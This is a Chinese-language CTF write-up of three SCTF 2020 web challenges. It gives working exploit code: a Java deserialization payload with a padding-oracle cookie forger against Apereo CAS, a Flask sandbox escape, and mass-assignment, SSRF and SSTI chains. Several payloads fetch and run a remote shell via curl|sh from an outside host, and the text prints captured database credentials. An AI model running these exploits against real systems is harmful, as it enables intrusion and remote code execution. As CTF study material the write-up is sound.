sctf-2020-writeup
发表于:2020-07-07 |

Web-Login Me

https://www.00theway.org/2020/01/04/apereo-cas-rce/

改了自定义key,但是这里可以用padding oracle

1
2
3
条件1:可以在后面添加额外字符,反序列化数据流读完一个对象就不继续往下读了
条件2:可控IV
条件3:解密失败和解密成功的返回不同(解密失败返回302,解密成功返回200+密码错误)

这里还有一个可控key alias,但是没有利用点

生成payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public class GenPayload {
public static void main(String[] args) throws Exception{
Object obj = new CommonsCollections4().getObject("sh -c curl${IFS}ctf.chara.pub:1234/shell|sh");
byte[] byt2 = myencrypt(obj);
System.out.println(Arrays.toString(byt2));
FileOutputStream fos = new FileOutputStream("payloadg.class");
fos.write(byt2);
fos.close();
}
private static byte[] myencrypt(Object o) throws IOException {
ByteArrayOutputStream outBuffer = new ByteArrayOutputStream();
ObjectOutputStream out = null;

try {
if (true) {
out = new ObjectOutputStream(new GZIPOutputStream(outBuffer));
} else {
out = new ObjectOutputStream(outBuffer);
}

out.writeObject(o);
} finally {
if (out != null) {
out.close();
}

}
return outBuffer.toByteArray();
}
}

padding oracle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
# -*- coding: utf-8 -*-
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
import base64
#from urllib import quote, unquote
import requests
import traceback
import socket
import time
import struct

head = None #convinent
odata = None
isDoneTest = False
last_call_time = time.time()
def validate(data,r,pad):
global last_call_time
#验证数据是否正确
try:
v = r.post(sys.argv[1],data={
"lt":"LT-3-A6PzsYih5yCchDBk3q7leQb02jsQNa-cas01.example.org",
"execution":"6b38b1ef-349c-4b43-92c2-85903c2f8a35_" + data,
"username":"aaa",
"password":"aaa",
"_eventId":"submit"
},allow_redirects = False);
if(v.status_code == 503): #limit
print('limit')
time.sleep(0.1);
return validate(data);
#正常:服务器返回200(密码错误)
#错误:服务器多跳转一次302(flow解码错误)
if pad is not None:
pad.history.append(v)
if False:
print("delay=",(time.time() - last_call_time))
last_call_time = time.time()
return v.status_code == 200;
except KeyboardInterrupt as e:
raise
except:
traceback.print_exc()
time.sleep(0.5)
validate(data,r,pad)
class PadBuster(PaddingOracle):
def __init__(self, **kwargs):
super(PadBuster, self).__init__(**kwargs)
self.session = requests.Session()
#self.session.proxies = {"http":"http://192.168.3.11:4476","https":"http://192.168.3.11:4476"}
self.wait = kwargs.get('wait', 2.0)

def oracle(self, data, **kwargs):
global head,isDoneTest,odata
raw_orig = odata
send_data = head + raw_orig + data
send_data = b64encode(send_data)
if not isDoneTest:
isDoneTest = True
test_data = b64encode(head + odata)
assert validate(test_data,self.session,None);
print("validate true")
result = validate(send_data,self.session,self)
if result:
logging.info('No padding exception raised on %r:%r', time.time(),len(send_data))
logging.info(str(send_data))
return

# logging.debug("Padding exception")
raise BadPaddingException

def unpack_data(data):
#读取数据
mByteArray = base64.b64decode(data.encode())
mHeaderLength = struct.unpack(">i",mByteArray[0:4])[0]
print("header length=",mHeaderLength)
mNonceLength = struct.unpack(">i",mByteArray[4:8])[0]
print("nonce length=",mNonceLength)
mNonce = mByteArray[8:8+mNonceLength]
print("nonce =",",".join(str(ord(i)) for i in mNonce))
mKeyNameLength = struct.unpack(">i",mByteArray[8+mNonceLength:8+mNonceLength+4])[0]
print("keyname length=",mKeyNameLength)
mKeyName = mByteArray[8+mNonceLength+4:8+mNonceLength+4+mKeyNameLength]
print("keyname=",mKeyName)
mData = mByteArray[mHeaderLength:]
print("data length=",len(mData));
print("data length% 16=",(len(mData)) % 16);
mData = bytearray(mData);
return (mNonce,mKeyName,mData,mByteArray[0:mHeaderLength])#iv,keyname,data,head

if __name__ == '__main__':
import logging
import sys

if not sys.argv[3:]:
print 'Usage: %s <url> <somecookie value> <payload>' % (sys.argv[0], )
sys.exit(1)
#url
sys.argv[1] = "http://120.24.35.104:8080/login?service=http%3A%2F%2F120.24.35.104%3A8888%2F"
#cookie from server
sys.argv[2] = "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"
#my target
#不能这么写,这么写是吧加密密文再换密了
#sys.argv[3] = ""
#sys.argv[3] = base64.b64decode(sys.argv[3])

logging.basicConfig(level=logging.DEBUG)
#logging.basicConfig(level=logging.INFO)
logging.getLogger("urllib3").setLevel(logging.WARNING)
encrypted_cookie = b64decode(sys.argv[2])

padbuster = PadBuster()

#payload = b64decode(sys.argv[3])
#print("read my cookie")
#payload = unpack_data(sys.argv[3])[3]
payload = open("payloadg.class","rb").read()
print("read server cookie")
info = unpack_data(sys.argv[2])
head = info[3]
odata = info[2]
enc = padbuster.encrypt(plaintext=payload, block_size=16,iv=info[0])
####
#数据少的时候,要取enc[16:32]
#但是数据多了以后,就变成取enc[0:16]
#别问我为什么,我也不懂crypto
head = head[:8] + enc[0:16] + head[16+8:] #控制iv
result = head + enc[16:]
print('cookies:')
print(b64encode(result))

跑本地大概要20分钟,跑远程大概200分钟

getshell的反序列化对象:

1
2
5e2471fb-8e19-487f-837a-
fcf4a087cac9_AAAAIgAAABBpcjg8Ei/xlopZ0pSeGZQBAAAABmFlczEyODgPB5PeMNYn8nayUIh6ITnygqomRqoYQtTOXdfiOZYJvKuhHKOGxIhtucF39qmNz715Cl51xMPr2Tv6FkgUZ8wDnHug6tPu91q2Lhz9CZdWUI2u2OWXlJty5oA5UHDwy90Z6yQJGrRAfFysF6kvie78pcT+fg03sH2SdEZ4hHxjqOm8D3mO4eVZjy8NAHE6azoahmV3u0koFAGGNq2FrJ8h8NXBFW6lVuf3M8ro3AAETel0zkawQm1x8S4haud+gkCcasPJH1MWGwVl/pnXcjoQG/XH01NLF4IVjHJLInMwyQ0eNfksYjGiimdM2Q9dALR6zFHH2h0whlWMhWwZvD6ns5icj8VtRT0q9RkHHm/GnRUWKNUwgDMQszchG9k8D1TvR1DR48VJwXNdZm1AiXX2NBVikmqQJpaA19Ox3irRBwTXwysOOkKA9hImiIQIu6LzF4XrQ3deUzPVQElacGAkq6NIVhv7pwONCar1rInzUMOLCRdSgr8629XMVojeOl4TGiVruzKa9ecitcB+KECdNm2KOZww5owBfc8l81G1xusc0KMR9U3tPIXmbF27Bduw5cTZYD+eunVAFdJnPv6UxZG6MsMddo/T6QD7axQmz2LpqdFGXHKj2BLQI0GG2+EbDIOhMUKpEDENW61siTwF1cm+8sZU7Yxdp2VU3tKCAYnFGJP3/xqQ2/0sDHcLYahzIUra2SfTGSomXGL2e9tL7RuKkQ2E3nivx52P7giQ56IIQzQ4z7Bh2BFLgYaQqTL+tYNMn/M1YdeHnf6yVG7wOBRSDTSrbw0gPMfG7Qw+AzqWf3zdB8vLUO+6kTJd9yVTkxPqAAHblS0PLowv6vsXs3Mda6RT6dWaGaCtQHQEnnHSnQUtmMrSjCAbJVdiA6gygjSdAUVqS0XLiL6KdLiF3qkUbqYZxaHXlCKkYfGnAxv7NwYgTdrGX8//GYSwTQHlH+A58bYlptsETjiU0nklKW4P+YdPfsjXlGDkdDRWBqLTy//9xcSpSJrI40WWvV3qAkMLSmXb9Ke1lfYmSkNh3JX6H3pAOEBXJXZQDMvJPgi5qu4WhJjZzr0KglNiD+HxvbBKsuMOEIdCTABjlkVohbfJrI5YusoEavPl7OMa3u5G77zd9Ke+C9OOCSkRjKPvSc3m25AVfCikCQnagdlXqea1LwtXyX9Uccl7ngS4+qwqaWM/MxVgEi7n+nA6Lz8u+ol1arVVUK+pGPkyRUrBfnDy4M7fS1ILAbE5Dp1SWFW5sb8dhUTwCIyexVXdOfB4XbddHVA7+pB2Me1Ig8KokIAguhFqpIBEgkT00NkDQL5Tz/PU/ExKBmCohXZ3LyCCIdevGSO6fXv+hd45ROFVc7xKktUy1R+L0CTxg83PZdG0zumRQZ/G6Cb+1GUUXnTkf7TiUowCY8/z5MN1Et6M8+fBFA8ouT1qTrQxeEOj15J1n5eLuIZwuHUPvT6ZSBKo9CcluyTwBpt3FPIzC2ak0deYRc/NFO8oKHLQQAyNSUN/6TCOHm9kRdbZHUtPPlj1A/zb/s122oZLl1O6c5KgmWO7Kjh8TgTp63aYzylYaNlv6FubruouRkzBizuxvmOB+jkXhsmEuzfg2jx7CvHGZAk2ndQG2RXgba0CqMQe24Yue0zZX4qDKuLZmiTvOiOE8fY/2Zv1vXzvL+KsGisA09vL80UByz0QMhI21ZlmJEFIH54MqihMEK7WQqsogVFEy7z8xDuXBUCQb8Iw1x04OtLk7B8YwDkmMbZkylSOgxJe9SgqMEXUnXqzwDQ1vdwJmoUYXTyT1SXeLZ4GP+UfJO+4o5GDcJWlx8+ydrY0FISZ3RA5Zi1WKK5nxGm9yIFdG2KctxW4IzYoQwI9VU6xJNEUzg2umwADKP7WTp1dsqX5gWNxTt0Z+ofAlDNPyQdU1Z4W0PrmynvFyx3vq4I5gzUYE5zFl++vXJh0KksPG3tcu7OJLfdE/Ni1151xkWn5WKoawFyJxAjw1c6lXdUAAAAAAAAAAAAAAAAAAAAA

getshell以后,查看配置文件得到mysql路径和密码,映射访问得到用户密码,查md5表,在cas直接登录

1
2
3
4
5
6
0.2有nginx 0.4有mysql 0.3是本机class="org.springframework.jdbc.datasource.DriverManagerDataSource">
<property name="driverClassName" value="com.mysql.jdbc.Driver" />
<property name="url" value="jdbc:mysql://172.19.0.4/cas" />
<property name="username" value="cas" />
<property name="password" value="8trR3Qxp" />
</bean>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
root@kali:/tmp# proxychains mysql -ucas -p8trR3Qxp -h172.19.0.4 
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-:20888-<><>-172.19.0.4:3306-<><>-OK
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 9
Server version: 5.7.30 MySQL Community Server (GPL)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> show tables;
ERROR 1046 (3D000): No database selected
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| cas |
+--------------------+
2 rows in set (0.085 sec)

MySQL [(none)]> use cas;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [cas]> show tables;
+---------------+
| Tables_in_cas |
+---------------+
| sso_t_user |
+---------------+
1 row in set (0.084 sec)

MySQL [cas]> select * from sso_t_user;
+----+--------------------------------------+----------------------------------+
| id | login_name | password |
+----+--------------------------------------+----------------------------------+
| 1 | 04bbbbcb-39e7-466c-8d3a-4c716e8802fd | 55f21708c44caa0574e049521940bdfc |
+----+--------------------------------------+----------------------------------+
1 row in set (0.084 sec)

MySQL [cas]>
1
2
04bbbbcb-39e7-466c-8d3a-4c716e8802fd
syclover@

image-20200706092110218

1
SCTF{55d4aaf1-bd11-4660-92b9-7a644e53315f}

Web-pythonsandbox

image-20200706092213257

Web-pythonsandbox2

执行的路径:

1
2
3
4
5
6
7
8
#把static的参数名称改成command
app.url_map._rules[0].rule = "/static/<command>"
#因为新建正则需要括号,找一个方法调用static的路由的compile方法,让他生成一个新的正则
app.view_functions['security']=app.url_map._rules[0].compile
##从哪个包里找到os
app.view_functions['static']=app.config.__class__.__init__.__globals__['os'].system
#然后依次post /,get /static/getshell指令编码后
#getshell指令不能带/
1
2
3
http://39.104.90.30:10000/?POST=/static/<command>securitystaticos
cmd=a=request.args[request.method];app.url_map._rules[1].rule=a[:17];app.view_functions[a[17:25]]=app.url_map._rules[1].compile;app.view_functions[a[25:31]]=app.config.__class__.__init__.__globals__[a[31:]].system
http://39.104.90.30:10000/static/curl$IFS$9ctf.chara.pub:1234%7Csh

image-20200706092415172

image-20200706092403109

Web-Jsonhub

web1:

注册处属性注入,使自己的账号是staff和superuser,可以访问/admin。

1
{"username":"115","password":"115","is_staff":1,"is_superuser":1}

访问/admin登录得到token。

1
3ad9af405504233188f694a11ff22115

/rpc路由可以打内网,但是需要来自127.0.0.1,找302跳转。

1
2
3
4
5
6
7
8
9
10
11
12
#这个和解法无关,但也是一个能Location的东西
http://39.104.19.182/admin/r/0/%2e%2e%2f%2e%2e%2f%2e%2e 可以跳当前网站下的路径 因为是..
#这一个%2e和%2f直接换不行
http://host//admin 会302到//admin/
#但只对存在的路由

http://39.104.19.182//%2e/rpc HTTP/1.1
Location: //./rpc/

http://39.104.19.182//127%2e0.0.1:8000/rpc HTTP/1.1
Location: //127.0.0.1:8000/rpc/
#%2e直接换成.也可以
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#coding:utf-8


headers = {
"Cookie":"csrftoken=tHY3jlpEez6c2WZjeBLPTRW1gDx3lhQlujiaIBkvIm3MFRH5QEUscebKhT2zInQA; sessionid=z37vwamrl4mw8wq6tiic75eh7aeljkyf"}
url = "http%3A%2F%2F127.0.0.1%3A5000%2Fcaculator"
import requests
import base64
import sys
r = requests.Session()


def main(i):
#payload = sys.argv[1] #stupid cmd
payload = "().__class__.__bases__[0].__subclasses__()[%d+1].__init__.__globals__.__builtins__['__import__']('os').system('curl http://ctf.chara.pub/ctf/shell|sh')" % i
argt = '{"num1":"1{","num2":"}2","symbols":"{%s}"}' % payload
print(argt)
#arg = sys.argv[1]
arg = argt
arg = base64.b64encode(arg.encode()).decode()
#print(arg)
t=requests.post("http://39.104.19.182/home/",headers=headers,json={
"token":"3ad9af405504233188f694a11ff22115",
"url":"http://39.104.19.182//127%2e0.0.1:8000/rpc?methods=POST&data="+arg+"&url="+url}).text
if '500 Internal Server Error' not in t:
print(i,t)
input()
for i in range(63,64):
main(i)

web2:

/calculator处存在ssti,

num1和num2不能有字母,symbols必须有+/-*之一

使用\u编码或者'{"num1":"1{","num2":"}2","symbols":"{百分号s}"}' % payload分散括号来绕过。

1
{"num1":"1{","num2":"}2","symbols":"{().__class__.__bases__[0].__subclasses__()[63+1].__init__.__globals__.__builtins__['__import__']('os').system('curl http://ctf.chara.pub/ctf/shell|sh')}"}

image-20200706092747987

上一篇:
关于创建日期旧于2021年2月的帖子说明
下一篇:
RCTF 2020 部分题目Writeup

由于Valine存在安全问题,我们不会记录您的IP地址。您所填入的内容,和您的User-Agent信息将明文公开存储。